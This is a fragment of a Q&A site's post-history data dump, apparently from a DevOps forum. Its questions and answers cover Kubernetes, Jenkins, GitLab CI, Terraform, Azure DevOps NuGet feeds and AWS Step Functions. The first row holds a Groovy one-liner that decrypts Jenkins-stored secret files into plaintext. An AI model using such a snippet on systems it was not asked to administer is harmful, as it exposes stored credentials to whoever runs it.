  <row Id="33284" PostHistoryTypeId="2" PostId="10846" RevisionGUID="ff16e883-de01-4324-8207-504b713cacec" CreationDate="2020-02-19T11:08:30.603" UserId="19764" Text="@kenorb example with `hudson.util.Secret` is good. Also answers listing all credentials are very useful (thanks @ymajoros for one-liner). &#xD;&#xA;&#xD;&#xA;These do not handle secret files though where `secretBytes` are used and still an encrypted string is shown. In such case the `SecretBytes` class needs to be used. Assuming the file is UTF-8, one can do:&#xD;&#xA;&#xD;&#xA;```groovy&#xD;&#xA;secret = &quot;{....}&quot;&#xD;&#xA;new String(com.cloudbees.plugins.credentials.SecretBytes.fromString(secret).getPlainData())&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;HTH" ContentLicense="CC BY-SA 4.0" />
  <row Id="33285" PostHistoryTypeId="2" PostId="10847" RevisionGUID="2b3b0cbc-0d86-4ceb-b31d-74801f07e7e7" CreationDate="2020-02-19T12:16:52.160" UserId="19765" Text="I have multiple files in a  windows network drive and I want to create a cron job and run daily in kubernetes that should copy the files to a pod network folder. &#xD;&#xA;&#xD;&#xA;I am researching a lot on this, but non of them gave a me clue to do this experiment. Is it we need to create Persistent volume claim against network drive? Please help to accomplish this." ContentLicense="CC BY-SA 4.0" />
  <row Id="33286" PostHistoryTypeId="1" PostId="10847" RevisionGUID="2b3b0cbc-0d86-4ceb-b31d-74801f07e7e7" CreationDate="2020-02-19T12:16:52.160" UserId="19765" Text="How to copy files from a windows network drive to Kubernetes pod" ContentLicense="CC BY-SA 4.0" />
  <row Id="33287" PostHistoryTypeId="3" PostId="10847" RevisionGUID="2b3b0cbc-0d86-4ceb-b31d-74801f07e7e7" CreationDate="2020-02-19T12:16:52.160" UserId="19765" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33288" PostHistoryTypeId="5" PostId="10847" RevisionGUID="9d1083db-34d8-4202-96ed-ff390a744a20" CreationDate="2020-02-19T12:21:57.013" UserId="19765" Comment="added 7 characters in body; edited title" Text="I have multiple files in a  windows network shared drive and I want to create a cron job and run daily in kubernetes that should copy the files to a pod network folder. &#xD;&#xA;&#xD;&#xA;I am researching a lot on this, but non of them gave a me clue to do this experiment. Is it we need to create Persistent volume claim against network drive? Please help to accomplish this." ContentLicense="CC BY-SA 4.0" />
  <row Id="33289" PostHistoryTypeId="4" PostId="10847" RevisionGUID="9d1083db-34d8-4202-96ed-ff390a744a20" CreationDate="2020-02-19T12:21:57.013" UserId="19765" Comment="added 7 characters in body; edited title" Text="How to copy files from a windows network shared drive to Kubernetes pod" ContentLicense="CC BY-SA 4.0" />
  <row Id="33290" PostHistoryTypeId="5" PostId="10847" RevisionGUID="4eacae7c-9a53-4d64-9197-4b34c22061ae" CreationDate="2020-02-19T13:14:43.300" UserId="19765" Comment="edited body; edited title" Text="I have multiple files in a  different linux server folder and I want to create a cron job and run daily in kubernetes that should copy the files to a pod network folder. &#xD;&#xA;&#xD;&#xA;I am researching a lot on this, but non of them gave a me clue to do this experiment. Is it we need to create Persistent volume claim against linux folder? Please help to accomplish this." ContentLicense="CC BY-SA 4.0" />
  <row Id="33291" PostHistoryTypeId="4" PostId="10847" RevisionGUID="4eacae7c-9a53-4d64-9197-4b34c22061ae" CreationDate="2020-02-19T13:14:43.300" UserId="19765" Comment="edited body; edited title" Text="How to copy files from a different linux server folder to Kubernetes pod" ContentLicense="CC BY-SA 4.0" />
  <row Id="33292" PostHistoryTypeId="2" PostId="10848" RevisionGUID="bfa75e6b-7850-4a7d-8fcb-e6f61e73fb8f" CreationDate="2020-02-19T17:18:01.010" UserId="6131" Text="&gt; I have multiple files in a different linux server folder and I want to create a cron job and run daily in kubernetes that should copy the files to a pod network folder.&#xD;&#xA;&#xD;&#xA;I am unaware how to perform the task as you have stated.&#xD;&#xA;&#xD;&#xA;How to solve your problem? With the belief your &quot;POD network folder&quot; is a SMB, NFS, other type mounted resource;&#xD;&#xA;&#xD;&#xA;I would implement one of the following, either will work the same in the end:&#xD;&#xA;&#xD;&#xA;1. Establish a connection directly from the Linux Host (that presently has the file(s) to be copied) to the Networked Folder. Use SCP or Rsync to perform the copy.&#xD;&#xA;&#xD;&#xA;2. Using SCP or Rsync copy the file(s) directly from the Linux Host homing the files to the IP Address of the POD. Given the POD has a standing connection to the Hosted Folder. e.g. NFS, SMB, other mount." ContentLicense="CC BY-SA 4.0" />
  <row Id="33293" PostHistoryTypeId="2" PostId="10849" RevisionGUID="7a208336-20ca-4e90-90e4-03e68c4f5814" CreationDate="2020-02-19T17:25:06.930" UserId="6131" Text="There are no &quot;agnostic&quot; products due to the dramatic differences of the design of the Cloud Services provided by different companies.&#xD;&#xA;&#xD;&#xA;My best recommendation is to write your code to support the different cloud providers. Whether you choose Ansible or Terraform this can be done with Ansible Roles or Terraform Modules that are specific to the cloud provider. Just the same as you would write Ansible roles specific to Operating Systems or different scenarios." ContentLicense="CC BY-SA 4.0" />
  <row Id="33294" PostHistoryTypeId="2" PostId="10850" RevisionGUID="ef918887-08ce-4dea-add0-10a5383800ec" CreationDate="2020-02-19T17:43:00.647" UserId="4115" Text="You can check out specific files or folders from a repo using `git archive`.  I've done this from a Jenkinsfile using a shell command like so:&#xD;&#xA;&#xD;&#xA;    sh(&quot;git archive --remote=${repo_url} ${ref} ${path} | tar x&quot;)&#xD;&#xA;&#xD;&#xA;You will, of course, need to set the variables `repo_url` (the url of the remote repository), `ref` (the ref/branch/commit/etc. to check out), and `path` (the path of the file or folder within the repo to check out)." ContentLicense="CC BY-SA 4.0" />
  <row Id="33295" PostHistoryTypeId="2" PostId="10851" RevisionGUID="bc77e732-ee01-4ced-988d-42d6f6eb9ec2" CreationDate="2020-02-19T18:38:12.870" UserId="16516" Text="My colleagues don't want to create their own virtualenv and deploy my tools from git on their own as part of their automation.  Instead they want the tools pre installed on a shared server.&#xA;&#xA;So I was thinking of making a /opt directory, putting the virtualenv in there and then pulling from git every hour to force an update of the python package.  I am not version tagging the tools currently and instead would just ask pip to force the install every time.&#xA;&#xA;The problem is the race condition.  If the tool is called by their automation during the pip upgrade, the tool can fail due to the install not being atomic - I believe it removes the entire package first.&#xA;&#xA;I've thought of various work arounds (forcing the use of flock, using symlink to atomically switch the virtualenv, wrapping the tool in a script that makes the virtualenv in a temp directory for every use...)&#xA;&#xA;Is there a best practice here I'm not aware of?&#xA;&#xA;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33296" PostHistoryTypeId="1" PostId="10851" RevisionGUID="bc77e732-ee01-4ced-988d-42d6f6eb9ec2" CreationDate="2020-02-19T18:38:12.870" UserId="16516" Text="Continuous deployment of package to virtualenv" ContentLicense="CC BY-SA 4.0" />
  <row Id="33297" PostHistoryTypeId="3" PostId="10851" RevisionGUID="bc77e732-ee01-4ced-988d-42d6f6eb9ec2" CreationDate="2020-02-19T18:38:12.870" UserId="16516" Text="&lt;continuous-deployment&gt;&lt;python&gt;&lt;virtualenv&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33300" PostHistoryTypeId="2" PostId="10853" RevisionGUID="6be93e3e-702c-4166-9e31-fcf849f56eff" CreationDate="2020-02-19T21:21:18.010" UserId="6131" Text="You covered the obvious security issue, use HTTPS for all your connections. &#xD;&#xA;&#xD;&#xA;While I won't try to tell you how to implement your environment, I will share with you the design in which I am rolling out at this time ...&#xD;&#xA;&#xD;&#xA;Grafana with Prometheus Federated cluster consuming data from Prometheus Servers deployed in each product. Thus, my data storage needs for these 'child' clusters is minimal and no need to worry about redundancy. My Federated Cluster will be storing data in a PostgreSQL server (agents available to handle the Prometheus TSDB data are available). I could then replicate this PostgreSQL server across regions for DR with a Grafana Interface per region for redundancy. I have chosen the PostgreSQL Server option over disk volumes for ease of replication.&#xD;&#xA;&#xD;&#xA;As you have realized, there are several options on how to perform this task.&#xD;&#xA;&#xD;&#xA;Background: My use case includes multiple stand-alone SaaS products as options within a bundled solution." ContentLicense="CC BY-SA 4.0" />
  <row Id="33301" PostHistoryTypeId="50" PostId="9216" RevisionGUID="2292a079-9a7b-4560-a695-c3190f82143e" CreationDate="2020-02-19T22:03:00.373" UserId="-1" />
  <row Id="33302" PostHistoryTypeId="5" PostId="10851" RevisionGUID="26323cee-eeb0-4d3f-b073-a9668314614d" CreationDate="2020-02-20T01:23:04.217" UserId="16516" Comment="added 1 character in body" Text="My colleagues don't want to create their own virtualenv and deploy my tools from git on their own as part of their automation.  Instead they want the tools pre installed on a shared server.&#xA;&#xA;So I was thinking of making a /opt directory, putting the virtualenv in there and then pulling from git every hour to force an update of the python package.  I am not version tagging the tools currently and instead would just ask pip to force the install every time.&#xA;&#xA;The problem is the race condition.  If the tool is called by their automation during the pip upgrade, the tool can fail due to the install not being atomic - I believe pip removes the entire package first.&#xA;&#xA;I've thought of various work arounds (forcing the use of flock, using symlink to atomically switch the virtualenv, wrapping the tool in a script that makes the virtualenv in a temp directory for every use...)&#xA;&#xA;Is there a best practice here I'm not aware of?&#xA;&#xA;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33306" PostHistoryTypeId="2" PostId="10855" RevisionGUID="173a7edd-b83e-43f8-9b64-9e8fde0e7531" CreationDate="2020-02-20T03:29:40.743" UserId="16059" Text="In terraform, to reduce downtime when creating a new auto-scaling-group behind an existing load balancer, you can use a launch configuration and set create-before-destroy.&#xD;&#xA;&#xD;&#xA;Launch templates are the recommended/new replacement for launch configs... but I can't seem to figure out how to achieve the same thing.&#xD;&#xA;&#xD;&#xA;How can you mimmic this behavior in launch templates?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33307" PostHistoryTypeId="1" PostId="10855" RevisionGUID="173a7edd-b83e-43f8-9b64-9e8fde0e7531" CreationDate="2020-02-20T03:29:40.743" UserId="16059" Text="AWS launch template create-before-destory?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33308" PostHistoryTypeId="3" PostId="10855" RevisionGUID="173a7edd-b83e-43f8-9b64-9e8fde0e7531" CreationDate="2020-02-20T03:29:40.743" UserId="16059" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;&lt;asg&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33311" PostHistoryTypeId="2" PostId="10858" RevisionGUID="c34f09f6-af25-4fd7-a608-69926a880886" CreationDate="2020-02-20T08:41:58.490" UserId="13" Text="It seems you're misunderstanding what the create-before-destroy lifecycle parameter of the launch configuration does.  &#xD;&#xA;It's about replacing the launch configuration within an autoscaling group, not replacing the autoscaling group.&#xD;&#xA;&#xD;&#xA;Launch templates have versions which makes this parameter useless as you'll create a new version of the launch template before updating the ASG to use it.&#xD;&#xA;&#xD;&#xA;Terraform gives an example in the [ASG documentation](https://www.terraform.io/docs/providers/aws/r/autoscaling_group.html#with-latest-version-of-launch-template).&#xD;&#xA;&#xD;&#xA;The underlying idea is to be able to roll back more easily than with launch-configurations.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33312" PostHistoryTypeId="2" PostId="10859" RevisionGUID="e09367f5-7a41-4c63-bf17-8616cd3d49ba" CreationDate="2020-02-20T10:17:14.413" UserId="9586" Text="I've got two types of failures to account for within a Jenkins job. &#xD;&#xA;&#xD;&#xA; 1. The job genuinely failed&#xD;&#xA; 2. The job failed because of a certain bit of info hasn't been published. Nothing is actually wrong here.&#xD;&#xA;&#xD;&#xA;How do I handle the 2nd case so it shows the job did no complete, but nothing is actually wrong?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33313" PostHistoryTypeId="1" PostId="10859" RevisionGUID="e09367f5-7a41-4c63-bf17-8616cd3d49ba" CreationDate="2020-02-20T10:17:14.413" UserId="9586" Text="Jenkinsfile handling an expected job failure" ContentLicense="CC BY-SA 4.0" />
  <row Id="33314" PostHistoryTypeId="3" PostId="10859" RevisionGUID="e09367f5-7a41-4c63-bf17-8616cd3d49ba" CreationDate="2020-02-20T10:17:14.413" UserId="9586" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33316" PostHistoryTypeId="19" PostId="5460" RevisionGUID="b561851e-6c48-4af9-a0ca-b3348d82253c" CreationDate="2020-02-20T12:23:24.840" UserId="-1" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]}" />
  <row Id="33317" PostHistoryTypeId="2" PostId="10860" RevisionGUID="f882edc5-bea8-443f-9f48-9c5086b22b1c" CreationDate="2020-02-20T13:07:48.913" UserId="19787" Text="We have a gitlab CI pipeline for building&amp;testing our product. Our product can be, fairly clearly, divided into two distinct parts - let's say we call them A and B. The most time-consuming part of our pipeline are end-to-end (e2e) tests that take &gt; 40 minutes to execute, and we want to cut this time down. They are currently executed in 1 job.&#xD;&#xA;&#xD;&#xA;Because our product consists of A and B, for each merge request we want to run only a subset of our e2e tests (only tests for A or only tests for B or all) - we want to be able to specify this manually for each merge request.&#xD;&#xA;&#xD;&#xA;We were looking for some idiomatic way to do this in GitLab CI, but didn't find one. What is the cleanest, least obtrusive way to achieve this? We ofc also want to be able to run all e2e tests - this would be the case of master branch.&#xD;&#xA;&#xD;&#xA;Our ideas included encoding this information in commit messages or merge request title and extracting this from env variables - https://docs.gitlab.com/ee/ci/variables/predefined_variables.html but both seem like a hack.&#xD;&#xA;&#xD;&#xA;Thank you :)" ContentLicense="CC BY-SA 4.0" />
  <row Id="33318" PostHistoryTypeId="1" PostId="10860" RevisionGUID="f882edc5-bea8-443f-9f48-9c5086b22b1c" CreationDate="2020-02-20T13:07:48.913" UserId="19787" Text="per-merge request GitLab CI pipeline customization" ContentLicense="CC BY-SA 4.0" />
  <row Id="33319" PostHistoryTypeId="3" PostId="10860" RevisionGUID="f882edc5-bea8-443f-9f48-9c5086b22b1c" CreationDate="2020-02-20T13:07:48.913" UserId="19787" Text="&lt;gitlab&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33320" PostHistoryTypeId="2" PostId="10861" RevisionGUID="f545d588-78fc-4274-a214-f7b648b1b35e" CreationDate="2020-02-20T13:40:14.460" UserId="13" Text="I'd go with what gitlab already offers, the [only/except](https://docs.gitlab.com/ee/ci/yaml/#onlyexcept-advanced) keyword.&#xD;&#xA;&#xD;&#xA;Something like:&#xD;&#xA;&#xD;&#xA;    test:e2e:A:&#xD;&#xA;      script:&#xD;&#xA;        - whatever you do to test A part&#xD;&#xA;      only:&#xD;&#xA;       refs:&#xD;&#xA;          - master&#xD;&#xA;          - /^A-.*/&#xD;&#xA;    &#xD;&#xA;    test:e2e:B:&#xD;&#xA;      script:&#xD;&#xA;        - whatever you do to test B part&#xD;&#xA;      only:&#xD;&#xA;       refs:&#xD;&#xA;          - master&#xD;&#xA;          - /^B-.*/&#xD;&#xA;&#xD;&#xA;The only requirement is that work on A or B is done in branches prefixed with A- or B-.&#xD;&#xA;&#xD;&#xA;the `refs` keyword accept regexes to match, more details on [gitlab-ci docs here](https://docs.gitlab.com/ee/ci/yaml/#onlyexcept-basic)&#xD;&#xA;&#xD;&#xA;If your gitlab is pretty recent (&gt;12.3) the rules method would be prefered and the example above for A would become:&#xD;&#xA;&#xD;&#xA;    test:e2e:A:&#xD;&#xA;      script:&#xD;&#xA;        - whatever you do to test A part&#xD;&#xA;      rules:&#xD;&#xA;        - if: $CI_COMMIT_REF_NAME =~ /^A-.*$/&#xD;&#xA;        when: always&#xD;&#xA;        - if: $CI_COMMIT_REF_NAME =~ /^master$/&#xD;&#xA;        when: always&#xD;&#xA;&#xD;&#xA;Or with a single regex:&#xD;&#xA;&#xD;&#xA;    test:e2e:A:&#xD;&#xA;      script:&#xD;&#xA;        - whatever you do to test A part&#xD;&#xA;      rules:&#xD;&#xA;        - if: $CI_COMMIT_REF_NAME =~ /^(A-.*|master)$/ &#xD;&#xA;        when: always&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I didn't test those entries above, let me know if one fail" ContentLicense="CC BY-SA 4.0" />
  <row Id="33330" PostHistoryTypeId="5" PostId="10843" RevisionGUID="a571bbb8-c5d9-4b92-92ee-653e6d546536" CreationDate="2020-02-20T18:02:04.513" UserId="19753" Comment="added 680 characters in body" Text="Updated 20th Feb&#xD;&#xA;&#xD;&#xA;**Summary**&#xD;&#xA;&#xD;&#xA;Not able to find NuGet package from our private feed under Artifacts.&#xD;&#xA;&#xD;&#xA;**Our Azure DevOps environment**&#xD;&#xA;&#xD;&#xA;In Azure, we have our company &quot;space&quot;: dev.azure.com/OurCompany&#xD;&#xA;&#xD;&#xA;Under that, we have multiple Projects, so for example, imagine these three:&#xD;&#xA;&#xD;&#xA; - Green: this holds applications of a certain type&#xD;&#xA; - Blue: this holds applications of a different type&#xD;&#xA; - Red: this holds our &quot;common&quot; helper code&#xD;&#xA;&#xD;&#xA;**RED**&#xD;&#xA;&#xD;&#xA;RED holds all our common helper code are DLLs consumed by applications in GREEN and BLUE.  These are made available as NuGet packages.&#xD;&#xA;&#xD;&#xA;Under RED's Artifacts, we see an &quot;organisational scoped feed&quot; called &quot;OurCompany&quot;.  We understood that we couldn't use this because these NuGet packages need to be available to everyone in OurCompany, which means not only on Azure, but also on our DeskTop machines in our Corporate network (where we run Visual Studio).  The &quot;organisational scoped feed&quot; I don't think is exposed to our Corporate Network.&#xD;&#xA;&#xD;&#xA;We therefore created a new Feed under RED's Artifacts.  When I view Permissions, I see the following entries:&#xD;&#xA;&#xD;&#xA; - {me} : (Owner)&#xD;&#xA; - [OurCompany]\Project Collection Adminstrators : (Owner)&#xD;&#xA; - [RED]\Project Administrators : (Owner)&#xD;&#xA; - RED Build Service (OurCompany) : (Contributor)&#xD;&#xA; - Project Collection Build Service (OurCompany) : (Contributor)&#xD;&#xA; - [RED]\Contributors (Contributor)&#xD;&#xA;&#xD;&#xA;**Corporate**&#xD;&#xA;&#xD;&#xA;So, back in Corporate, we add the NuGet package feed to our Visual Studio and it can then pull the NuGet packages down from Azure.&#xD;&#xA;&#xD;&#xA;**GREEN and BLUE**&#xD;&#xA;&#xD;&#xA;In here we have our products.  We create a build Pipeline and we add a NuGet restore step:&#xD;&#xA;&#xD;&#xA;    - task: NuGetCommand@2&#xD;&#xA;      displayName: 'Restore for Our Application'&#xD;&#xA;      inputs:&#xD;&#xA;        command: 'restore'&#xD;&#xA;        restoreSolution: '**/*.sln'&#xD;&#xA;        feedsToUse: 'select'&#xD;&#xA;        vstsFeed: '{Guid1}/{Guid2}'&#xD;&#xA;&#xD;&#xA;The two Guids were filled in when we picket the Azure Artifacts feed from the drop-down.&#xD;&#xA;&#xD;&#xA;**GREEN or BLUE NuGet Restore Failure**&#xD;&#xA;&#xD;&#xA;So this is where we run into our issue.  When the NuGet restore step executes, it fails with the following message:&#xD;&#xA;&#xD;&#xA;    Unable to find version 'nnnn.n.n' of package 'TheNuGetPackage'.&#xD;&#xA;&#xD;&#xA;The log output is vast, but the salient lines appear to be:&#xD;&#xA;&#xD;&#xA;    2020-02-18T18:36:35.2838118Z [command]C:\hostedtoolcache\windows\NuGet\5.4.0\x64\nuget.exe sources Add -NonInteractive -Name {Guid2} -Source https://pkgs.dev.azure.com/OurCompany/{Guid1}/_packaging/{Guid2}/nuget/v3/index.json&#xD;&#xA;    -ConfigFile d:\a\1\Nuget\tempNuGet_356.config 2020-02-18T18:36:35.7513495Z Package source with Name: {Guid2} added successfully. 2020-02-18T18:36:41.1671856Z     [CredentialProvider.183638]Command-line v0.1.20+a5d37185a1a95acb4f0g997b9c23cab99508: &quot;d:\a\_tasks\NuGetCommand_333b11bd-d341-40d9-bdbd-b32d5ce6f23b\2.164.0\CredentialProviderV2\plugins\netfx\CredentialProvider.Microsoft\CredentialProvider.Microsoft.exe&quot;&#xD;&#xA;    -Plugin 2020-02-18T18:36:41.1673979Z     [CredentialProvider]Handling 'Request' 'GetAuthenticationCredentials'. Time elapsed in ms: 3 - Payload: {&quot;Uri&quot;:&quot;https://pkgs.dev.azure.com/OurCompany/{Guid1}/_packaging/{Guid2}/nuget/v3/index.json&quot;,&quot;IsRetry&quot;:false,&quot;IsNonInteractive&quot;:true,&quot;CanShowDialog&quot;:true} 2020-02-18T18:36:41.1674299Z     [CredentialProvider]Handling auth request, Uri: https://pkgs.dev.azure.com/OurCompany/{Guid1}/_packaging/{Guid2}/nuget/v3/index.json, IsRetry: False, IsNonInteractive: True, CanShowDialog: True 2020-02-18T18:36:41.1674465Z     [CredentialProvider]URI: https://pkgs.dev.azure.com/OurCompany/{Guid1}/_packaging/{Guid2}/nuget/v3/index.json 2020-02-18T18:36:41.1674818Z     [CredentialProvider]Skipping NuGetCredentialProvider.CredentialProviders.VstsBuildTaskServiceEndpoint.VstsBuildTaskServiceEndpointCredentialProvider, cannot provide credentials for https://pkgs.dev.azure.com/OurCompany/{Guid1}/_packaging/{Guid2}/nuget/v3/index.json 2020-02-18T18:36:41.1675261Z     [CredentialProvider]VstsBuildTaskCredentialProvider - https://dev.azure.com/OurCompany/ 2020-02-18T18:36:41.1675425Z     [CredentialProvider]VstsBuildTaskCredentialProvider - https://pkgs.dev.azure.com/OurCompany/ 2020-02-18T18:36:41.1675722Z    [CredentialProvider]VstsBuildTaskCredentialProvider - https://pkgs.dev.azure.com/OurCompany/ 2020-02-18T18:36:41.1676021Z    [CredentialProvider]VstsBuildTaskCredentialProvider - https://pkgs.dev.azure.com/OurCompany/ 2020-02-18T18:36:41.1676161Z    [CredentialProvider]VstsBuildTaskCredentialProvider - Matched prefix: https://pkgs.dev.azure.com/OurCompany/ 2020-02-18T18:36:41.1676330Z    [CredentialProvider]VstsBuildTaskCredentialProvider - Found credentials for endpoint https://pkgs.dev.azure.com/OurCompany/{Guid1}/_packaging/{Guid2}/nuget/v3/index.json 2020-02-18T18:36:41.1680820Z   https://pkgs.dev.azure.com/OurCompany/{Guid1}/_packaging/{Guid2}/nuget/v3/index.json: Unable to load the service index for source https://pkgs.dev.azure.com/OurCompany/{Guid1}/_packaging/{Guid2}/nuget/v3/index.json. 2020-02-18T18:36:41.1680996Z   Response status code does not indicate success: 404 (Not Found - VS800075: The project with id 'vstfs:///Classification/TeamProject/{Guid1}' does not exist, or you do not have permission to access it. (DevOps Activity ID: 0628EDE7-6E7E-465D-A6AE-7B6B0AA065D2)).&#xD;&#xA;&#xD;&#xA;This looks like a permissions thing to me.  But what seems odd is that the Artifact Feed in RED was discoverable when creating the Pipeline Build YAML when we then don't have permissions to use it.&#xD;&#xA;&#xD;&#xA;I did try adding permissions to the Feed in RED.  Clicking on the &quot;Add users/groups&quot;.  I found the following and added them as either Reader or Contributor, but with no success.&#xD;&#xA;&#xD;&#xA; 1. [GREEN]\ Green Team&#xD;&#xA; 2. GREEN Build Services&#xD;&#xA;&#xD;&#xA;So:&#xD;&#xA;&#xD;&#xA; 1. Am I going about this the wrong way?  If so, what ought I be doing (I thought I'd followed the Azure DevOps instuctions fairly closely)&#xD;&#xA; 2. Am I going about this the right way?  If so, what have I missed?&#xD;&#xA;&#xD;&#xA;**Update #1**&#xD;&#xA;&#xD;&#xA;Verbose error message from Restore step&#xD;&#xA;&#xD;&#xA;&gt; https://api.nuget.org/v3/index.json: Package 'Package1.nnnn.n.n' is&#xD;&#xA;&gt; not found on source 'https://api.nuget.org/v3/index.json'.&#xD;&#xA;&gt; https://pkgs.dev.azure.com/OurCompany/{Guid1}/_packaging/{Guid2}/nuget/v3/index.json:&#xD;&#xA;&gt; Unable to load the service index for source&#xD;&#xA;&gt; https://pkgs.dev.azure.com/OurCompany/{Guid1}/_packaging/{Guid2}/nuget/v3/index.json.&#xD;&#xA;&gt; Response status code does not indicate success: 404 (Not Found -&#xD;&#xA;&gt; VS800075: The project with id&#xD;&#xA;&gt; 'vstfs:///Classification/TeamProject/{Guid1}' does not exist, or you&#xD;&#xA;&gt; do not have permission to access it. (DevOps Activity ID: {Guid}))." ContentLicense="CC BY-SA 4.0" />
  <row Id="33337" PostHistoryTypeId="2" PostId="10867" RevisionGUID="aa544ecf-cb89-4dd5-926a-a62e29dd58ef" CreationDate="2020-02-20T21:15:59.723" UserId="19805" Text="I'd like to create a deployment pipeline triggered on PR creation that would deploy to e.g. 'staging1' environment if it's my commit and 'staging2' if it's a commit of other team member (the idea is for each team member to have his/her own environment assigned, but deploy using a shared parametrized pipeline). Is it possible to achieve this and if so, then how?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33338" PostHistoryTypeId="1" PostId="10867" RevisionGUID="aa544ecf-cb89-4dd5-926a-a62e29dd58ef" CreationDate="2020-02-20T21:15:59.723" UserId="19805" Text="Bitbucket pipelines: Deployment destination dependent on commit author" ContentLicense="CC BY-SA 4.0" />
  <row Id="33339" PostHistoryTypeId="3" PostId="10867" RevisionGUID="aa544ecf-cb89-4dd5-926a-a62e29dd58ef" CreationDate="2020-02-20T21:15:59.723" UserId="19805" Text="&lt;deployment&gt;&lt;continuous-deployment&gt;&lt;cicd&gt;&lt;bitbucket&gt;&lt;bitbucket-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33340" PostHistoryTypeId="2" PostId="10868" RevisionGUID="85e2db03-9973-4bec-9a89-0ca8223e41e7" CreationDate="2020-02-21T00:43:10.307" UserId="11221" Text="I recently moved my development account away from my prod one, everything seemed fine except I have a service that runs a lambda to start a step function - not ideal but used to work.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My issue comes in that I am now able to run everything up to and including the execute step function from the npm package provided by aws. I have checked and the account ID is updated in the arn of the step function/machine. I see in my cloudwatch logs that it is timing out after 30 seconds (had a 6 but changed to test).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What are some possible causes of a step function not executing after an account change with no code changes other than the account ID update." ContentLicense="CC BY-SA 4.0" />
  <row Id="33341" PostHistoryTypeId="1" PostId="10868" RevisionGUID="85e2db03-9973-4bec-9a89-0ca8223e41e7" CreationDate="2020-02-21T00:43:10.307" UserId="11221" Text="Unable to start step function after account move" ContentLicense="CC BY-SA 4.0" />
  <row Id="33342" PostHistoryTypeId="3" PostId="10868" RevisionGUID="85e2db03-9973-4bec-9a89-0ca8223e41e7" CreationDate="2020-02-21T00:43:10.307" UserId="11221" Text="&lt;amazon-web-services&gt;&lt;node.js&gt;&lt;step-functions&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33343" PostHistoryTypeId="2" PostId="10869" RevisionGUID="77ecaa94-f888-4fc8-897a-52a165f94aaa" CreationDate="2020-02-21T01:48:30.547" UserId="11221" Text="Issue is resolved by updating the subnet to a private subnet which uses a nat gateway instead of a public subnet with an internet gateway. [This][1] SO post lead my in the right direction.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/45017329/why-doesnt-my-lambda-function-start-an-execution-on-an-aws-state-machine" ContentLicense="CC BY-SA 4.0" />
  <row Id="33346" PostHistoryTypeId="2" PostId="10870" RevisionGUID="903479a0-6b63-4faf-983d-79486771e637" CreationDate="2020-02-21T05:52:11.360" UserId="47" Text="One possibility would be to place the checks for all the necessary pre-conditions (i.e. including those bits of info that would need to be published) in a separate build step &#xD;&#xA;to be executed prior to the actual build step. &#xD;&#xA;&#xD;&#xA;If the checks in this preliminary step fail the build could be marked as aborted instead of failed. The aborted build would, hopefully, be a better indication that &quot;nothing is actually wrong&quot; (debatable, I know). &#xD;&#xA;&#xD;&#xA;Marking the build as aborted could maybe be done in a manner similar to these SO answers:&#xD;&#xA;&#xD;&#xA;- [Abort current build from pipeline in Jenkins][2]&#xD;&#xA;- [Jenkins - abort running build if new one is started][1]&#xD;&#xA;&#xD;&#xA;If those checks cannot be pulled in a step separated from the actual build step things are a bit more complicated: &#xD;&#xA;&#xD;&#xA;- the actual build step would have to somehow be configured to not fail the job. I know it's possible for steps performed in virtual environments using the [ShiningPanda][3] plugin, but other types of steps do not have such capability.&#xD;&#xA;- an additional step would have to be added after the actual build step. Its job would be to somehow determine if the actual build step failed and, if so, if failure was causing by one of those unfulfilled pre-requisite conditions (maybe by parsing the build logs, for example?), in which case it would abort the build. Otherwise it would pass or fail, depending on the actual build step outcome, to properly indicate the overall run status in Jenkins.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/a/42674979/4495081&#xD;&#xA;  [2]: https://stackoverflow.com/a/44326216/4495081&#xD;&#xA;  [3]: https://wiki.jenkins.io/display/JENKINS/ShiningPanda+Plugin" ContentLicense="CC BY-SA 4.0" />
  <row Id="33347" PostHistoryTypeId="2" PostId="10871" RevisionGUID="407088a2-b453-4235-9fed-8e12114085b9" CreationDate="2020-02-21T06:39:50.190" UserId="17622" Text="I have multiple windows service and there are no dependencies between them. I want to stop all the windows services at the same time. I don't want to stop all the services one by one. How can I achieve this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33348" PostHistoryTypeId="1" PostId="10871" RevisionGUID="407088a2-b453-4235-9fed-8e12114085b9" CreationDate="2020-02-21T06:39:50.190" UserId="17622" Text="Stop Multiple Windows Service Simultaneously" ContentLicense="CC BY-SA 4.0" />
  <row Id="33349" PostHistoryTypeId="3" PostId="10871" RevisionGUID="407088a2-b453-4235-9fed-8e12114085b9" CreationDate="2020-02-21T06:39:50.190" UserId="17622" Text="&lt;powershell&gt;" ContentLicense="CC BY-SA 4.0" />
